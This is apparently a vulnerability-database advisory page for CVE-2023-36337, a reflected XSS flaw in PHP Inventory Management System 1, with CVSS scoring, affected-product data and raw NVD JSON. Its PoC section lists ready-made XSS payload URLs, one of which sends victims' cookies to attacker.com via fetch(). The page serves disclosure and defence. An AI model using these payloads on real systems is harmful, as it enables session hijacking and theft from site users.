Security Vulnerability Report
中文
CVE-2023-36337 CVSS 6.1 MEDIUM

CVE-2023-36337

Published: 2025-12-15 19:16:00
Last Modified: 2026-01-02 12:58:25

Description

A reflected cross-site scripting (XSS) vulnerability in the component /index.php/cuzh4 of PHP Inventory Management System 1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:inventory_management_system_project:inventory_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
PHP Inventory Management System 1 < 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2023-36337 Reflected XSS PoC --> <!-- Target: PHP Inventory Management System 1 --> <!-- Vulnerable Component: /index.php/cuzh4 --> <!-- Basic XSS Payload --> https://[TARGET]/index.php/cuzh4?param=<script>alert(document.domain)</script> <!-- Image Tag XSS Payload --> https://[TARGET]/index.php/cuzh4?param=<img src=x onerror=alert(document.cookie)> <!-- SVG XSS Payload --> https://[TARGET]/index.php/cuzh4?param=<svg onload=alert('XSS')> <!-- Cookie Stealing Payload --> https://[TARGET]/index.php/cuzh4?param=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Encoded Payload (URL Encoded) --> https://[TARGET]/index.php/cuzh4?param=%3Cscript%3Ealert%28document.domain%29%3C/script%3E

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-36337", "sourceIdentifier": "[email protected]", "published": "2025-12-15T19:16:00.460", "lastModified": "2026-01-02T12:58:24.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability in the component /index.php/cuzh4 of PHP Inventory Management System 1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:inventory_management_system_project:inventory_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "BE3D9475-43F9-4544-973D-E5B41DDB2695"}]}]}], "references": [{"url": "https://gist.github.com/nguyenkhanhthuan/f345c8ea0551c10ead197680f2ba9c66", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/ThuanNguyen115685/Report/blob/main/XSS.md", "source": "[email protected]", "tags": ["Broken Link"]}]}}